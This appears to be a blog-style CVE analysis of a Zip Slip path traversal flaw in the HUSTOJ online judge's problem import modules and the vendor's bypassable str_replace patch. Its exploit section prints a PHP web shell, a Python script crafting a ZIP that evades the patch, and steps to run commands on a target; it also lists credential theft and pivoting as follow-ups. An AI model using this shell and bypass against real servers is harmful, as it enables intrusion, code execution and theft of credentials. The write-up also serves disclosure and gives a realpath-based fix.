HUSTOJ Zip Slip: Sliding into RCE via Bad Math (and Worse Patches)
Jan 28, 2026·5 min read·13 visits
Executive Summary (TL;DR)
HUSTOJ, a popular Online Judge system, fails to sanitize filenames within uploaded ZIP archives in its QDUOJ and HOJ import modules. By uploading a crafted ZIP file containing directory traversal sequences (e.g., `../../shell.php`), an unauthenticated attacker can write a PHP web shell to the server's web root. The vendor's patch attempts to fix this with a non-recursive `str_replace`, which is easily bypassed.
A critical Path Traversal vulnerability (Zip Slip) in HUSTOJ's problem import functionality allows attackers to overwrite arbitrary files on the server. This leads directly to Remote Code Execution (RCE).
The Hook: When Imports Go Wrong
Online Judge systems are complex beasts. They compile code, sandbox execution, and manage massive databases of algorithmic problems. HUSTOJ, one of the veterans in this space, offers a feature that sounds convenient but smells like trouble: Problem Import. specifically, the ability to import problems from other formats like QDUOJ and HOJ.
To handle these imports, the system accepts a ZIP archive containing the problem data—test cases, descriptions, and metadata. And here lies the classic trap. Handling archives is notoriously difficult to do securely. If you trust the file structure inside a user-provided ZIP, you are essentially letting the user dictate where files land on your filesystem.
CVE-2026-24479 is a textbook case of "Zip Slip," a vulnerability class that had its heyday around 2018 but keeps zombie-walking its way back into modern PHP applications. It turns a mundane file upload feature into a red-carpet invitation for Remote Code Execution.
The Flaw: Trusting the Archive
The vulnerability resides in problem_import_qduoj.php and problem_import_hoj.php. The application uses the legacy zip_read() and zip_entry_name() functions to iterate through the uploaded archive. Crucially, it takes the filename returned by the ZIP header and immediately concatenates it to the destination path.
Here is the logic flaw in plain English: The code assumes that a file named test.txt inside a ZIP will simply extract to $destination/test.txt. But the ZIP format specification allows filenames to contain directory characters. An attacker can pack a file named ../../../../var/www/html/shell.php inside the archive.
When HUSTOJ processes this, it essentially runs:
$path = "/temp/upload/" . "../../../../var/www/html/shell.php";
The filesystem resolves the .. sequences, breaking out of the intended upload directory and landing the payload wherever the attacker chooses. It's like locking your front door but leaving a window open that leads directly into the master bedroom.
The Code: The Smoking Gun & The Band-Aid
Let's look at the vulnerable code found in the import_json function. It's concise, effective, and completely insecure.
while ($dir_resource = zip_read($resource)) {
if (zip_entry_open($resource, $dir_resource)) {
// VULNERABLE: No sanitization of zip_entry_name
$file_name = $path . zip_entry_name($dir_resource);
// ... file writing logic ...
}
}The vendor released a patch in commit 902bd09e6d0011fe89cd84d4236899314b33101f. However, if you are a security researcher, this patch might make you chuckle—or cry.
The "Fix":
$file_name = $path . zip_entry_name($dir_resource);
+ $file_name = str_replace('../', '', $file_name);> [!WARNING] > Developer Note: Never use non-recursive replacement for sanitization.
This filter simply removes ../ once. If an attacker sends the sequence ....//, the str_replace will remove the inner ../, leaving behind... another ../. This patch is effectively a speed bump, not a barricade. It stops script kiddies but leaves the door wide open for anyone who knows how strings work.
The Exploit: From ZIP to Shell
Exploiting this requires creating a specially crafted archive. You can't just right-click a folder and hit "Compress" in Windows; standard tools sanitize paths to protect you. We need to go lower level.
Step 1: The Payload First, we create a simple PHP shell.
<?php system($_GET['cmd']); ?>Step 2: The Delivery Vehicle We use a tool like Python to craft the malicious ZIP. We want to traverse out of the upload directory and drop our shell in the web root.
import zipfile
zf = zipfile.ZipFile("exploit.zip", "w")
# The filename contains the traversal payload
# The "....//" bypasses the weak patch in v26.01.24
zf.writestr("....//....//....//....//var/www/html/hustoj/web/shell.php", "<?php system($_GET['cmd']); ?>")
zf.close()Step 3: Execution
- Navigate to the QDUOJ or HOJ import page (often requires Admin, but the CVSS score of 9.3 and PR:N suggests this endpoint might be exposed or lacking auth checks in some configurations).
- Upload
exploit.zip. - The server extracts the file, blindly resolving the path.
- Access
http://target-ip/shell.php?cmd=id.
Result: uid=33(www-data) gid=33(www-data) groups=33(www-data).
The Impact: Why We Panic
This is a straight-shot Remote Code Execution (RCE). In the context of an Online Judge, the server usually has compilers (gcc, java, python) and execution environments installed. This makes post-exploitation trivial.
An attacker can:
- Read Source Code: Steal the database credentials from
include/db_info.inc.php. - Modify Data: Change contest results, delete submissions, or grant themselves admin rights.
- Pivot: Use the compromised server as a jump box to attack the internal network or other connected nodes in the judging cluster.
The CVSS 4.0 score is 9.3 (Critical) for a reason. There is no complexity here. No race conditions, no heap feng shui. Just a bad file write leading to total compromise.
The Fix: A Real Solution
The vendor's attempt (str_replace) is insufficient. To properly fix Zip Slip, you must validate the resolved destination path against the intended destination directory.
Proper Mitigation Strategy:
- Resolve the target directory using
realpath(). - Construct the full destination path.
- Resolve the full destination path using
realpath(). - Check if the destination starts with the target directory.
Code Example:
$destination = realpath($target_dir);
$full_path = realpath($target_dir . '/' . $zip_entry_name);
if ($full_path && strpos($full_path, $destination) === 0) {
// Safe to write
} else {
// HACKING ATTEMPT
}Until a robust patch is applied, administrators should restrict access to the /admin/ directory using web server configuration (Nginx/Apache) to ensure only trusted IP addresses can access the import modules.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
HUSTOJ zhblue | < 26.01.24 | 26.01.24 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 (Path Traversal) |
| Attack Vector | Network |
| CVSS v4.0 | 9.3 (Critical) |
| Privileges Required | None |
| Impact | Remote Code Execution (RCE) |
| Patch Quality | Weak (Bypassable) |
MITRE ATT&CK Mapping
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.